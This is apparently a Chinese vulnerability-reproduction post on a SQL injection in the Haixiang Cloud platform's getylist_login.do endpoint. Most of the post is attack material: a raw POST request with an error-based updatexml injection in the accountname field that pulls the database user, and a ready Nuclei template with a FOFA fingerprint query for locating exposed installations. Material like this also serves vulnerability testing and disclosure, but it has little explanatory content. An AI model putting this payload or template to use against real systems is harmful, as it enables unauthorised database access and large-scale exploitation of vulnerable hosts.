「漏洞复现」海翔云平台 getylist_login.do SQL 注入

POST /getylist_login.do HTTP/1.1Host: Accept-Encoding: gzipUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15Content-Type: application/x-www-form-urlencoded; charset=UTF-8Content-Length: 75 accountname=test' and (updatexml(1,concat(0x7e,(select user()),0x7e),1));--

id: haixiang-cloud-getylist-login-sql-injectioninfo:  name: 海翔云平台 getylist_login.do SQL 注入漏洞  author: rain  severity: high  description: |    海翔云平台的 getylist_login.do 存在 SQL 注入漏洞，攻击者可以通过在请求中注入恶意的 SQL 语句，导致数据库泄露、数据篡改或其他安全风险。建议立即修复此漏洞以防止潜在的攻击。  metadata:    fofa-query: fid="DFKq/loXsF8BN4n1UBeB1Q=="requests:  - raw:      - |        POST /getylist_login.do HTTP/1.1        Host: {{Hostname}}        Accept-Encoding: gzip        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15        Content-Type: application/x-www-form-urlencoded; charset=UTF-8        Content-Length: 75                accountname=test' and (updatexml(1,concat(0x7e,(select user()),0x7e),1));--
    matchers-condition: and    matchers:      - type: dsl        dsl:          - 'status_code == 500 && contains(body, "root@")'